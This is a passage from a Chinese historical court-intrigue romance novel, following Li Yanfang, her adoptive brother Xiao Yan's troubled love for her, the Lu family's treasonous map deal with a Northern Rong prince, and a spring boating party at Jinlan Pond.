言罢,他转身离去。
李宴方倏然睁眼,乌沉的光在她眼眸中闪闪烁烁,最终一沉入底,如坠入无尽的暗渊,杳无踪迹。
门外照清与紫电还候着。
紫电尚且坦然自若,目不斜视,而照清仍魂不守舍,若有所思。但当下人的只需要尽忠职守,有些事情就当瞧不见,照清纵然震惊,也懂这高门大户里的生存之道。
萧偃也不多言,只道:“阿姊歇下了,退下吧。”
他长舒一口气,往西院走去,他的话已说明,只是,她还没回答他昨夜的问题。
萧偃不担心太后会突然下旨赐婚,因为他手中有两千沙场精锐,太后不会轻易让宋王得了他的势。
他最为在意的只有:阿姊是否对宋王动心。
难道阿姊真的对那类型的男子有偏好?他这样的武夫早已被踢出局了?
路上他不着痕迹地叹息一声。
总之,绝不能让宋王占了便宜,陆二莽撞,若是让他得知宋王有意插手,他会如何?
他背后的那木拓又将如何?
阿姊已身陷其中,唯有他才能护她无虞,那些阿猫阿狗才是该出局之人。
*
和月山庄的风波说大不大,说小不小,吴国大长公主暂咽下这口气,便也无人再敢主动提起。
一切重回正轨,春猎检阅三军成为近来的头等大事,萧偃不知是有意回避还是真真忙得脚不沾地,接连几日都不曾回府,据紫电回报,他都宿在城外军营中。
李宴方自是不会管他,有些事发生过就会留下印记,她有些懊悔恼怒,不过人不在她跟前晃悠,她也乐得个清净。
这一日,张静真前来侯府为她梳头,实则有事要报。
铜镜前,光可鉴人的青丝垂下,张娘子不拿玉梳,而是正色道:“乡君,鄂国公府二公子疑似在城西置养外室,此事已被其夫人所知,与他大闹一场,郑夫人也因此小产。”
李宴方长眉冷蹙:“陆家自诩家风清正,纳妾之举都少之又少,置养外室简直是天方夜谭,不过男人嘛……”
冷嘲过后,细思之下,惊觉异常,此时正是陆家与北戎合谋的关键时期,陆怀怎么有心思敢做这等荒唐事?他就算辩不明局势,陆朴也不可能纵容默许。
“外室一事,还有劳尔等去细查,陆家这么做一定有别的目的。”
李宴方想起郑令纯的音容,那个曾经与自己同前往护国寺上香,存着善心好言安慰她的女子,现在竟然沦落到这般。
不过谁知这是福是祸呢,若有朝一日陆家当真以谋逆之罪论处,她又能逃至何处?腹中的孩儿要是真生下来,想必也难逃一劫。
李宴方问起张娘子郑家娘家的反应。
张娘子称郑夫人欲和离,但郑家人皆以名声为由,劝她睁一只眼闭一只眼。
郑家约莫是还放不下与鄂国公府这一道姻亲关系。
郑令纯曾予她善意,她亦投桃报李,对张娘子道:“若能接近郑夫人,请她莫要轻举妄动,她之所求,要待来日。”
李宴方已不在鄂国公府中,若
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是能不费吹灰之力安插下一枚举足轻重的暗钉,于她的计划大有裨益。
至于郑令纯的将来如何,要看她自己能否把握时机了。
*
鄂国公府内,陆朴的书房里骤起一声愤恨暴躁的责骂。
“父亲啊,此人先前不杀,如今难杀百倍!她身边更有萧偃,简直是如虎添翼!”
和月山庄内,陆怀一而再再而三地被挫败,他在得知父亲计划之初,便提过李宴方不可留,她曾居于府中三载,有这样一个知己知彼的人为敌,实在不妙。
坐于太师椅上的陆朴吹着胡子呵斥他:“呵,你以为我不知晓她不当留?那时萧偃回京,为了护她,连我派出去的侍卫都敢招呼不打,一个不留地打发回来,简直狂狷至极!”
“杀她若留下蛛丝马迹,你以为那头疯狗就是好惹的?”
陆朴说起此事也愤慨难平,偏生萧偃最初掩盖身份,否则他一定会先下手为强。
到底是见过大风大浪,陆朴逐渐平静:“当务之急是春猎……”
陆怀不满却未见消散:“父亲,我看那木拓也不像能成事的模样,一个急色之人罢了,你何苦余尊降贵与他好言好语?”
须发花白的陆朴拿起热茶,茶盏轻碰,饮了一口:“你以为为父为何与他合作?难道我真心卖国求荣?呵。”
听闻言辞之中暗藏玄机,陆怀立即摆出一副虚心受教的模样。
“前朝末年,战火连绵,西京宫阙都化为焦土,藏于深宫的机密要件尽数焚毁,其中就包括天下舆图。唉,十四州山河走势因而随风而去。”
“大晟建立,已是几十年白驹过隙之后,失地舆图虽在民间小有流传,但精准之度根本无法与深宫旧藏相提并论,且失地为北戎所掠,实地勘误难于登天。若想一举收复失地,有舆图自然事半功倍。”
陆朴言至此,陆怀已猜出父亲所作所为与舆图有关,但心中亦生出一个疑问:“如何确定那木拓所交换的舆图没有被他做手脚?”
陆朴冷笑:“北戎王不待见此子,自然不会给出舆图由他来与我朝修好,但那木拓为争权夺位,与叔伯兄长较量,他只能拿出诚意来换取我等的支持,送来的牛羊骏马虽好,但我朝疆域广阔,此等并未极其缺乏之物,唯有十四州舆图才真正体现诚意。”
“他若再做手脚,便意味着撕毁与我的盟约,届时他私献舆图之事再叫北戎王知晓,北戎定然容不得他,那时他大晟呆不得,北戎回不去,他会做这般自掘坟墓的蠢事吗?”
陆朴放下茶杯,起身踱步,忧愁一叹:“其实最初我也不打算真的取萧偃首级,这不是长贼寇志气么?可谁让世事无常,李宴方与萧偃已将你我视为仇敌,此事不可不为也。”
如今他最为担忧的就是半路杀出的崇州黑衣人,这些人并非萧偃手下,否则当初不至于灭萧家满门,那究竟是何方神圣?
和月山庄一事多有差池,一无所获,这帮人在春猎上可得小心防备。
陆朴拈着花白长须,又想起一事,嘱咐道:“郑氏你须小心安抚,关怀备至,别叫她坏了大事。”
陆怀一听父亲谈起郑令纯,怒意横生,那不知好歹的女子只知道争风吃醋,根本不知他与父亲正在某大事,非要与他胡闹,但此番父亲交代,他也不得不忍下怒气,点头称是。
39. 姻缘
冬雪既消,春芽萌发,雷未滚,雨未至,朔风依旧凛冽。
恶劣天气磋磨不了飞捷军的演武意志,全军上下仍在为春猎时的检阅而厉兵秣马,城郊大营内喊杀震天,气势雄沛。
统帅萧偃更是枕戈待旦,日日巡视,有家不回。
他以为只要他全心全意投入操练,就能掐断令他分神的无端念头,但夜深人静时,总是不得安宁。
当是与李宴方冷战导致的。
这么多天,家里竟然没个消息?
她不愿意见自己了吗?
难道他真的很过分吗?
大半个月来,萧偃与军中精锐士兵战了个遍,弓箭、横刀、枪戟等等无所不忌,精疲力竭后才返回主帐,这时往往已是深夜。
军中欢呼统帅平易近人,与将士演武,但身为深得信任的麾下幕僚,军师慕容修当然推断得出是何种缘由。
夜幕降临后,慕容修煞有介事找到萧偃。
“萧侯啊,我跟随你几年,罕见你有心绪不宁的时刻,不如让我给你号号脉?”
沐浴完毕的萧偃披起氅衣,瞄了慕容修一眼,直觉他一肚子坏水,不怀好意,堵他:“没事干就去号伤病的将士。”
虽无大战,但操练之时偶有意外受伤,所以萧偃是给他指了条明路。
碰了软钉子,慕容修也不打退堂鼓,干脆开门见山:“见你情关难过,给你卜算了一卦姻缘。”
天底下大概除了他的义姊,还没人能把他弄成这副失魂落魄的模样,慕容修早已知情,如今见他处处透露着古怪,不由得推他一把。
“别整天出这些馊主意,把你那算筹丢了算了。”怪力乱神之说萧偃向来不信,给慕容修丢了一记白眼。
“可是看起来是个好卦啊。”
这么一说,萧偃皱眉道:“有多好?”
慕容修通晓军事,尤擅长观测天象,对问卦一事也颇有研究,他算的,偶尔也能听一听。
慕容修见他脸色突变,摇头不语。
萧偃一听是好卦,就来了兴致,哪里有什么不信鬼神,只有太过在意,死马当做活马医,有一点微茫的希望也要抓住。
情关难过,情关难过啊!
慕容修不卖关子:“凤凰栖高梧,大富大贵,鸿运当头,只是这凤凰当指贵人,你在洛都,看来是要尚一位公主了!”
若他的良缘不在义姊处,就该早日放下,免得两败俱伤,慕容修心知当断不断反受其乱的道理,就算是直言相劝惹他恼怒,他也要谏言快刀斩乱麻一回。
“呵,果然是神神道道的虚妄之语,”萧偃的脸色立刻冷下来,失望碾压着愠怒,“朝中只有一位不到十岁的小公主,你是在害我么?”
冯太后与高宗育有两女,长女在高宗登基之前因病早殇,二圣临朝后,将其追封为昭德思公主。若昭德思公主度过幼时劫难,如今当二十有余。
另一位为二圣幺女,少帝幼妹,她虽为长公主,因年幼不满十岁,尚无封号。
天家里除了这位小小年纪的长公主,还有已孀居的吴国大长公主,她们之外再无受封的公主,宗室女子中倒有与他年纪相仿之人,但她们不仅无公主之位,更非他所求。
萧偃恼羞成怒:“你这卦也太烂了,以后没饭吃了千万别去摆摊胡乱算卦,要不然迟早被人打死!”
他想起慕容修几年来的兢兢业业,勤勤恳恳,还有二人之间的情分,要不然他真的要给他几拳,明知这不是他想要的结果,还巴巴地摆到自己眼前来。
慕容修接下肃杀酷寒的眼刀,脸不红心不跳:“常言道‘命里有时终须有’(注1),有缘无份,何必强求?凑成怨侣,相看两厌,岂不是自讨苦吃?”
被严词告诫的男子颓丧地坐回椅上,以手撑额,怨侣二字回荡耳畔,敲得耳膜流血。
他现在和阿姊不就有些纠葛不清、徒生怨怼的前兆么?
而今尚且可以靠他一厢情愿与一腔真情应对,可时过境迁以后,二人皆心力交瘁,无力再辩解、再维护这份扭曲畸形的感情时,就会变成慕容修口中的模样?
生恨或许真的比生情来得更容易。
阿姊不与他言语的日子已是难熬难捱,萧偃甚至不敢设想,阿姊以厌恶怨毒的目光凝视他的模样。
那才是真正的弃他于不顾。
他接受得了吗?
他真的会变成一条疯狗,失控地穷追不舍,撕咬吞咽她的血肉,让她与他永远地生长在一起。
“我要静一静。”萧偃漠然失落地对慕容修说道。
“可叹,相思心病无药可医啊!”慕容修见这一剂猛药“狠话帖”颇见成效,安心离去。
但慕容修大帐门帘前顿了一步,转身努力摆出笑脸,安慰道:“我的卦一向很准,你的好日子定在后头,切莫灰心。”
座上人抬起头,眸中寒光直闪,冷意透骨,显然已是怒不可遏,他是抓起手边的茶盏朝慕容修脑袋砸去,势必要砸个稀巴烂。
“滚!”
慕容修心道真是过犹不及,立刻撒开腿一溜烟儿撤退。
萧偃如被抽去一身傲骨,颓丧地靠在椅子上,心想,也许明日真该抽空回家一趟。
*
次日晴空万里,春光难得,萧偃安排好营地诸事,打马回城。
入城之际,有一人策马而来,见他立即下马行礼,不卑不亢道:“萧侯万安,小人乃相府随从,我家小姐有事相商,还请萧侯赴约。”
言罢,随从在马下呈上写有时间地点的信笺。
萧偃既疑且怒,凤眼凌厉肃杀:“本侯与你家小姐并无交集,尔等如此关注本侯的行踪,该当何罪!”
上官柔仪可是亲切温柔地喊李宴方姐姐呢,他的好姐姐就那么应下。
故而他对上官柔仪可没什么好脸色,何况她暗中寻觅,窥探行事,叫他不悦。
“萧侯恕罪,只是小姐言此事与高陵乡君密切有关,还望萧侯赐见。”随从心惊胆战,但小姐嘱咐过,要是萧侯不允,便直接搬出高陵乡君,多半能见效。
如小姐所料,骏马上的萧偃果然沉思几许,接下信笺,随从见事已办成,行礼后赶忙回府报信。
萧偃拆开信笺,冷淡扫一眼,便吩咐跟随的青霜将其烧毁。
相见之地为东市酒楼,名为繁金楼,是东市最有名的酒楼之一。
在此处相见,正常得不像有诈。
厢房内的贵客已恭候多时,正是上官柔仪。
桌上并无酒菜,看来这不是一场普通的请客吃饭。
赴约的萧偃面容冷肃深沉,拒人千里之外。
上官柔仪视若无睹,开门见山:“我听随从说,最初你不应,但提及宴方姐姐,事情才有转机。”
“我倒是不知,阿姊何时认了个妹妹。”萧偃敌意鲜明,与上官柔仪隔桌对峙。
萧偃纵然知晓女子之间多以姐妹相称,以示友好,但见上官柔仪喊得亲热自然,他这个唤李宴方十几年阿姊的弟弟,心头莫名地涌起一股醋意。
凭什么他这个由父亲亲手接来的弟弟,历经一番波折才能大张旗鼓地唤她姐姐,而上官柔仪竟然就如此轻而易举地表现二人的亲近,她甚至还敢拿阿姊当借口,邀约于他。
面对醋意爆发的眼前人,上官柔仪在袖中紧握双手,并不示弱:“你知道你的感情对她造成困扰了吗?”
爱得太明显,不仅是上官柔仪察觉,那日来寻她的赵凝清夫妇,想来也是发现了蛛丝马迹,再这样下去,当真是全天下都要唱《墙有茨》了。
怪不得宴方姐姐那日愁眉紧锁,上官柔仪越
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发觉得她此番与萧偃开诚布公是明智之举。
萧偃如遭雷击,他对阿姊怀有深情是真,但由旁人毫无忌讳地揭露就是另一码事。
已经到了人尽皆知的地步?
“此事与你何干?”萧偃愤怒中夹杂一丝难为情。
上官柔仪并不忸怩,理直气壮地道:“容你们男人为兄弟肝胆相照?容不得我为姐妹两肋插刀么?这可不是狗拿耗子——多管闲事!”
在萧偃眼里,上官柔仪确无从插手他与阿姊之间的事情,可他见有人义正词严要替阿姊声辩,心里不由得冒出一股奇异的感觉:
他的阿姊本就该得到众人的认可与关切。
她的好,当被更多人感知,一如明月朗照。
“在和月山庄中,我承了宴方姐姐的恩,所以我见她不快忧愁,便替她排忧解难。有一件事,你必然不知。”
萧偃心一沉:“说。”
什么事,竟然连他也不知道?是阿姊悄悄与上官柔仪谈及?
“在山庄时,你二人要是中计,‘众口铄黄金’(注2),是她无法接受的恶果,你若想与她长久相伴,须得解除义姐弟关系,弃去这层束缚,她才可能真正接纳你的爱意。”
上官柔仪的目光真诚,她回想起那夜李宴方的神情。
李宴方对她温柔大度,在谈及萧偃时何尝不是?
上官柔仪回家后细思几日,终于确定李宴方对萧偃亦有些许感情,否则以她的手段,早已经斩断情丝,纵然是萧偃也未必奈何得了她!
可那时李宴方只是忧愁难解,而非厌恶嫌弃,乃至于逃避恐惧,否则绝不会叫自己知晓此事。
所以李宴方心中一定纠结不已。
矛盾在于,萧偃情深,李宴方情浅,前者爱慕简直如司马昭之心,后者波澜不惊,并未被打动。
要不然此刻两人已是两情相悦,你侬我侬。
上官柔仪思来想去,问题出在宴方姐姐吟出那一篇《墙有茨》。
罔顾人伦的罪责还是太沉重了。
有些事倒不如让她这个旁观者来道明,省得再作纠缠。
这就是上官柔仪设下这无酒无茶的空宴之动机。
一桌之隔的距离之外,那人威名显赫,万军临阵之前尚可镇定自若,这时却不着痕迹地露出脆弱与犹豫,甚至还有一瞬一闪而过的惊惧。
断绝关系?
抛开为长姐责任,她是不是就能彻底对他撒手不管?
那时候他还能以何种身份、何种借口接近她?
他会失去对那些想当他姐夫的人置喙挑剔的资格。
萧偃无意中承认,他就是个借着义弟身份死缠烂的的小人。
不行,他不答应。
小人就该一意孤行,自私自利!
有人将他从深思中唤回。
上官柔仪知自己击中对方要害,但心头仍有不解:“宴方姐姐在意这件事,无非是前路纷扰甚多,要为自己寻条退路,故而犹豫不决。但你为何能毫不介意?”
若是能从他的心路转变中寻求得破解之法,也算对宴方姐姐有用。
萧偃终于在此刻放下戒备,上官柔仪真存歹意,就不必与他谈起此事,她既得阿姊信任,大可有许多途径行事。
他坦然说道:“生死当前,比起永远失去挚爱的绝望痛苦,还有一丝一毫的心情去考虑廉耻人伦么?”
这番苦楚,在边境沙场,他已经遭受过。
而返回洛都时,他又差一点失去阿姊,就差那么一点点啊,阿姊就深陷陆韫之的龌龊作局……
什么流言蜚语,什么礼乐教化,统统都给他滚。
他不能失去她。
注1出自明代佚名《增广贤文·上集》。
注2出自汉末甄宓《塘上行》。
40. 暗月
上官柔仪离去后,萧偃在屋内,远眺窗外热闹繁华的东市,心头思绪潮涌。
他的阿姊爱憎分明,对所信之人皆真心相待,于赵凝清是,于上官柔仪亦是。
正因如此,她们二人均能以真心回馈,会为确保她的安危而做足准备,也会为了替她排忧解难而迎面质问。
她对她们的好,与她对他的好有何不同?
他是她心中最为特殊的那一个么?
还只是因为他占了弟弟的名号,所以她对他多有关爱,亦多有纵容?
上官柔仪离去之前说:“真羡慕你有这样一个姐姐,聪慧温柔,又不缺雷霆手段。”
他听到有人夸阿姊,半是得意,半是醋意:“你不也唤她姐姐么?”
明月高悬,总不能独照于他。
可他也恨,为何不独照于他?
上官柔仪讶无意间道破:“可她是因为你才变成姐姐的呀?”
若不是因为萧偃,李宴方便是家中独女,掌上明珠,不必担起姐姐的责任,或许也如上官柔仪一样,家中两位哥哥爱她护她,而她只需要做恣意洒脱的妹妹就好了。
该拿起就拿起,该放下就放下,该两肋插刀就直言不讳,统统问心无愧。
只需要考虑自己的心意。
而上官柔仪身后,甚至还有许多人为她托底。
没有责任,就无需追求事事完满,更不要考虑身后人,便不会因为一时的行差踏错而悔恨自责,而叹“金身毁弃”,更是对打破人伦的凶险来路担忧警惕。
她心里留下深重溢血、难以复原的伤痕,皆是因为她成了那托底之人。
没有人告诉她,安慰她,“没关系,不必怕,有我在”。
他这个曾受她庇护的共犯来得太迟了!
若是早一些功成名就,早一些成为与她共担风雨之人,该有多好?
萧偃不禁自问,那时阿姊设计嫁入鄂国公府,可是有一丝筹谋,是要替他谋个好前程?
当真如此吗?
他的出现让她生出本不必有的责任心,阴差阳错地推了她一把,跳下那火坑!
而现在,他的炽热爱意,让她的责任心在灼烧炙烤,让她纠结于身份与道德,无法释怀!
她成为姐姐那一年时可有怨恨?
她陷于陆韫之局中之时可有怨恨?
怨恨他加入这个家,改变了她的性情和前路。
萧偃紧握窗牖,几乎要把朱漆木框捏碎。
他怎么到如今才发现症结所在?
今日,他不能回府。
*
午后,侯府。
紫电匆匆来禀。
小憩后的李宴方犹带倦色,却在听到消息时神容一凛。
“你说萧偃在城外坠马?此事可封锁消息?”
“已送回飞捷大营诊治,除主子身边人外,尚无人得知。”
李宴方愁眉紧锁,他一个能骑善射的将军,怎么会坠马?
真的假的?
“照清,替我更衣。紫电,你去备车,我去大营瞧瞧。”
明知可能是骗局,还是毫不犹豫地走一趟,她突地觉得自己很没出息。
车轮辚辚,已驶出城外,远郊旷野,飞捷大营旌旗迎风。
李宴方的身份,准确说是统帅家属的身份,出入容易。她想,当是有人提前吩咐过。
她下马车后直径前往主帐。
帐中迎她的是萧偃帐下的幕僚,萧偃曾在过年拜会时给介绍过的慕容修,仅一面之缘。
慕容修文质彬彬,儒雅温和,他见过礼后,李宴方直截了当地询问:“听闻慕容先生亦通晓岐黄之术,不知萧侯境况如何?”
“心病。”
慕容修深知解铃还须系铃人,这系铃人便是眼前人,若是能与萧偃把话说明白,二人各退一步,海阔天空。
李宴方见他毫无焦急担忧之色,也能猜出萧偃情况不差,而心病一词更是把萧偃、慕容修二人一同作戏的事实暴露无遗。
她冷言冷语:“既然慕容先生深得萧凭陵信任,不如就由你去治这心病吧。”
她的弟弟又在耍心机了。
凝视慕容修的目光如风雪来时铺天盖地的寒意,将人重重包裹,无处可逃。
慕容修低头,心生惧意。
真不愧是他阿姐,洞察力惊人,两个字就洞明他与萧偃私交不差,对萧偃的心之所求了如指掌,更看透这是一出引她前来的苦肉计。
李宴方拂袖将走。
要是萧偃知道自己一句话就把她气走了,慕容修不得围着大营跑二十圈?
慕容修极力挽留:“萧侯坠马,乃千真万确。”
“何故?”
“这就要请乡君自己问了,鄙人撬不开他的嘴,只知他性命无忧。”
李宴方冷笑,这时候还要打什么哑谜?既然来了,可不能白来一趟。
她毫无顾忌地前往内帐,掀帘而入。
帐中悄静无声,她怒气冲冲,走来一路卷着风,把沉静打破。
萧偃躺在床上,这声势,除了阿姊还有谁敢在他面前弄出来?念及此,苦涩地一笑。
他确实伤了,只不过皮肉伤而已。
当时他从繁金楼出来,心气郁结,如遭黑云压城,难以舒啸,出城纵马狂奔,却一时失神险些坠落,但他身体历经百战,早就锻炼出无需意识操控的反应能力,故而只有些擦伤,并未伤及筋骨。
躺在床上之时,他就对自己道,以雕虫小技博得她的关切,这是最后一次纵容自己。
然后就此分家,桥归桥,路归路。
慕容修卜算出来的尚公主他毫不在意,可他说的相看两厌才是击穿萧偃脆弱心防的利箭。
与其令阿姊煎熬反侧,不如他独自承受无尽孤寂愁苦。
她来了,他很高兴。
只是不知为何心中没有一点快意得意,只翻涌着酸涩苦郁。
“阿姊,你怨恨我吗?在我四岁那年到洛都的时候,你怨恨吗?”
气势汹汹的李宴方徒然刹住脚步,想要训斥话卡在唇边,再也无从宣泄。
他怎么会这么问?问得那么幽怨,甚至还有一分痛苦。
李宴方放慢脚步,一步一步靠近,终于见到一次又一次耍心机欺骗她的人。
他眸光放空,了无生机,若不是胸膛在起伏,她简直要以为他撒手人寰。
她突然愠气全消,开始循着他的话头,回忆起旧事,七岁那年,她依稀记得自己生了场大病,先前的事记不太清楚。
但关于收养萧凭陵还有些画面。
她停步于床榻三步之外,絮语:“有一件事你一定不知道。据阿娘讲,那时家里要来一个弟弟,我很不高兴。”
“缘由也极为离谱,离谱到我不太能相信那是七岁的我亲口说出话,我对阿娘阿爹说的是,‘我不要弟弟,他会跟我抢房子’。”
李宴方不好意思地笑,其实阿娘亲口对她说起往事时,她也极其难为情,与如今的反应一致。
“所以我想,一开始确实是不待见你的,也许是不满你夺走双亲的爱意和那点家里的锅碗瓢盆。但长大后,我知晓我就是个自私自利的人,小时候能说出那句话,也不意外。”
李宴方还知道,那时阿娘跟她说,弟弟的父亲对阿爹有救命之恩,弟弟的父亲死了,弟弟的娘早一步去了,我们不能置之不理。
所以她接纳了这个弟弟。
如今萧父身份与阿爹真实身份均不明朗,她一直不曾与萧凭陵提及此事。
“我现在也好奇,当初为什么没有欺负你?”
仿佛是她提及旧事,让帐内的氛围轻松些许,床榻上的人绽出微笑。
萧偃想,人人都能爱她如月,皆是因为她光明温柔的那一面,而只有他,能看见她阴暗邪恶的一面,她可以在他面前,轻松无忌地说起小时候对他的排挤和敌意,说起父母之爱,说起那一件并不丰厚的房产归属。
人人拥月,
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因其在昏暗中迷失,渴望昭昭;而只有他,拥抱了明月的所有,从朔月,弦月,乃至于氤氲血色的暗月。
他得到了更多。
他可以据此说服自己,她对他,是特殊的吗?
他算她心中独占一方的存在吗?
她不知他心头所想,只是自顾自地继续道:“可能你太可怜,我不觉得你对我是威胁,或许我也可以打你,打到你服气,打到彻底构不成威胁。”
原来萧偃初见起就会在李宴方面前用可怜来博得她的心软与怜惜,无论是他有意还是无意。
萧偃坐直身,目不转睛地,把她幼时的恶劣与此刻得嚣张收入眼底,尽数珍藏,以供自己在将来的岁月中回望。
“只是后来,我不容你被别人欺负,你名义上是我弟弟,你不能丢我的脸。”所以她教会他反抗,心底却在想,要欺负也只能由她欺负。
“再后来……”
她的话音被他打断,他痴痴地道:“我的出现让你背负太多,对不住。”
让你变成姐姐,让你背负起本不存在的责任。
“你在发什么疯?”李宴方几乎是下意识地反驳,瞬间接下他的话,他今天有些奇怪。
她甚至走到他跟前,以手背贴他的额头,试探温度。
他干脆闭上眼,她对他的关心似乎已成习惯,可他偏生想在这时候问,若我不是你的弟弟,你可还会如此关切?
兴许她对他三番四次的纵容也只是因为他是她弟弟,仅此而已。
但凡涉及利害,踩踏底线,她就会像对陆韫之那般,果断干脆地送他下地狱。
他害怕得到否定的答案,藏词于口,贪恋这一份温柔。
他与她之间,成也姐弟,败也姐弟。
缘分由姐弟身份而结,阻碍亦由姐弟身份导致。
因果轮回,苦海无边。
萧偃今日原打算斩缘,可是贴在额前的手背,让他犹豫不决,还是等春猎之后再说吧。
不行,要等灭掉鄂国公府她才安全。
他与她之间,还有一段时日的姐弟可做,真好。
萧偃明明做好决定,又在渴望无限期的拖延,给自己找足冠冕堂皇的借口,默许自己那点儿躲在阴暗处的贪婪生根发芽。
手背的温暖的触感传来,李宴方确定他没发热,似想起什么问道:“你有爹的消息了?”
难道是父亲的真实身份被揭晓?藏有什么隐情?
导致她们二人之间存在利益分歧,甚至分道扬镳,否则怎么会突然追忆往昔,闲谈旧事?
萧偃握住抵在额头上的纤手,将手掌缓缓下移,贴上脸颊,呆呆地抬头望了她好一会儿,才闷闷地道:“没有。”
话音落后,帐内保持着诡异的宁静,李宴方就任由他这么贴着,高挑的人站立,英武的人闲坐。
就好似误入山林的人前蹲踞着一只安静的大型猛兽,人不存戒备,而兽不曾发威,离奇古怪却和谐相调。
良久,她才道:“崇州萧家一事,确定有人从中作梗,但痕迹被清扫干净,又指控鄂国公府,保不齐要故意挑起什么争端。”
在外人眼中,李宴方萧偃与鄂国公府是无冤无仇的,某个势力没道理故意挑起二者争端,除非他真想给她们透露什么消息,但见她们并无行动,计划落空,就借崇州萧家的线索来离间姐弟二人,也极有可能。
没道理只泄露给萧偃,而故意把李宴方排除在外?
“事到如今,可不能因为捕风捉影的事情乱了心境。”
这是李宴方唯一想出来的缘由,除开身世之谜,还有什么能影响他的心神?
他低头直笑,李宴方手上传来震动,接下来就听闻他道:“阿姊,真的没有,你不要多想。”
明明是不愿意当姐姐的人,却时时刻刻把他放在心上,肩上的担子压得久了,早已趁机长入她的血肉。
阿姊,这是你未发觉的重责负累吗?
很快就能放下了,他这般作想。
41. 碧桃
后来萧偃就再没有主动寻过李宴方,也不曾回过府。
春猎在即,他当是忙得脚不沾地,李宴方并未多想。
这时候,东风渐暖,百花初绽,金澜池畔游人如织,华美富丽的皇家园林成为洛都百姓踏青游乐的热门圣地。
桃雾柳烟,一架秋千高高荡起,秋千上的年轻女子嬉笑快意,她那樱桃红的罗裙迤逦风中,比满园的姹紫嫣红更绚烂多姿,更显春意动人。
那正是上官柔仪,她与身旁另一架秋千上的黄衫女子较量着高低,周围嬉闹喝彩声此起彼伏,配合着荡漾的秋千,气氛高涨。
她极力邀请李宴方,李宴方不可免俗地来了一趟,秋千架上的上官柔仪见她来,放慢节奏,待秋千平稳,她轻松越下,朝李宴方小跑过来,活力十足。
“宴方姐姐,你来啦。”上官柔仪上前亲密地牵过她的手。
自那日后,她还颇为提心吊胆,但今日一见李宴方神清气爽,便放下猜疑,热络地与她将起今日的安排。
“我见近来气候宜人,繁花盛放,韶光难买,在此处设下春游局,丝竹管弦,风筝秋千,无所不包,而来金澜池怎么能不临鉴春水?还特意组织一场竞渡!”
她说起今日的安排来,黛眉一扬:“彩头是两株素冠荷鼎!”
“素冠荷鼎为名贵兰花品种,”似曾相识的清润之声自二人身后响起,那人又道,“其花形似菡萏,饱满丰丽;花色莹白如玉,素纯无暇;花叶细韧挺拔,风姿高雅。”
李宴方与上官柔仪转身。
春风骀荡中,宋王李攸衣袂飘然,浅笑雍容,既有谪仙神韵,又不乏贵胄气度。
他踱步而近,对春宴做东之人上官柔仪称赞道:“素冠荷鼎踪迹难寻,今日上官娘子可是下了血本呐。”
“慧眼识英的人终于大驾光临,素闻宋王殿下尤其喜欢莳花弄草,王府中奇花异草,争奇斗艳,四季不绝,今日有殿下替我推介素冠荷鼎,何愁来客于金澜池内争渡不全力而为呢?”
上官柔仪人缘好,社交广,宋王亦要卖她面子,出现在此处也算李宴方意料之中。
只是李攸先前口口声声说爱慕自己,盼望结为伉俪,以救她出和亲虎口,但自从和月山庄之后,他就未曾再与自己有来往。
看来这爱意虚浮缥缈,比纷纷扬扬的柳絮更难以捉摸。
她不动声色,仍是维持面上微笑,对李攸不咸不淡地行礼。
“与乡君重逢花云柳雾间,实为幸事。”他还礼致意,有几分春心萌动的赧然,但极快地平复。
李宴方转而询问起上官柔仪:“不知今日争渡如何安排?宋王殿下可要争这株素冠荷鼎?”
上官柔仪正好奇二人何时有过交集,听闻这一问,她介绍起来:“两人一艇,抽签分配,共划百步之距。”
“可若有人不擅凫水岂不危险?”
“姐姐放心,我已招募一批下值的金澜池水军架船在竞渡水域内护航,还准备了渡水腰舟。”
渡水腰舟即是葫芦为主体的助浮之物,此物绑在竞渡者身上,若是不慎落水,落水者可借助其浮力等待救援。
上官柔仪考虑得果然周到,未曾体验过竞渡的李宴方有些跃跃欲试:“只能抽签配对么?”
她想,熟人之间便于沟通协调,胜算更大些。
谁知上官柔仪早已想到这一点,她假作刁难道:“夫妻与未婚夫妻不必抽签,自是两人一组,旁的娘子郎君当然就但凭天命啦。”
李宴方并非不懂,这里有一层少年青年男女自由交往的暗示,可她潜在的求胜之心只能让她发现规则漏洞,她玩笑道:“那夫妻之间就有利可乘咯?”
“并非并非,两口子吵起架才更精彩。陌生人之间反而客气,有商有量。”
李宴方念及陆韫之的做派,心下了然,只是玉指轻点上官柔仪光洁额头,故作谴责:“你还挺会挖坑的。”
“那宴方姐姐跳不跳这坑?等待会人都到齐就开始抽签,姐姐你还是先自求多福吧。”
她说完,仿佛是怕李宴方又戳她一指头笑骂她满脑子歪门邪道,闪个身远遁,去迎接新至的好友。
花下只剩李宴方与李攸,突然陷入一阵短暂的沉默,隔绝四周热闹欢乐的氛围,像初春桃杏开时,沉积在石缝里未化的顽固冻雪。
心猿意马的一方先打破沉默:“攸不才,唯有在莳弄花草一事上颇有心得,这两株素冠荷鼎千金难觅,纵然攸不擅争渡,也要尽力为之。”
这是在回答李宴方许久之前的问题,当时上官柔仪兴致勃勃地介绍起争渡,李攸并未打断。
“祝宋王旗开得胜。”
“春光烂漫,乡君可否赏脸,与攸同游长堤?”
李宴方笑笑:“不必了吧,宋王不是要等竞渡么?”
她的拒绝来得直接迅速,李攸从未经历过儿女情长,但也猜得出这当是对方不满。
怨恨他么?
怨恨他无所作为?
那岂不是就说明她对自己有所期待?
此为生情之兆?
他趁热打铁:“还请乡君借一步说话。”
见他如此坚持,李宴方道:“那棵碧桃开得绚烂,不如前往一观。”
碧桃离上官柔仪定下的集合点不过十步,不远不近。
两人行至碧桃一侧,花枝舒展,桃蕊盛放,将李宴方清冷淡然的月容衬出一抹秾华丽色。
李攸心念颤动,满怀歉意道:“自和月山庄一别,攸再而慎思,乡君所虑不无道理,你我相识甚浅,谈及婚嫁,实乃冒犯,然形势所迫,不容攸中心藏之。”
“早前,那木拓北上修书奏报,要求和亲,北戎王的国书答复已抵达洛都,北戎已同意此事,朝堂上再度谈及联姻之事。”
据李宴方所了解,这位宋王常年清修,醉心书画与花木,远离朝局中心一般,连他明面上交往之人,也多是风流才子,文人墨客。
甚至一位爱花成痴的人,竟未曾与任何一个贩花商贾打过交道,是不愿沦落得个玩物丧志、身份堕落的污名?
他搏得一个几近于完美的清名留有何用?
现在他主动谈及朝局,只是为了说服自己答应婚事吗?
李宴方只觉得他太热衷婚事,令她不满。
李攸道:“朝堂上战和两派分而林立,就此事唇枪舌剑,来往不休。”
“愿闻其详。”
她终于对他的话表露出一丝兴趣,李攸仿佛得到莫大的鼓舞,侃侃而谈。
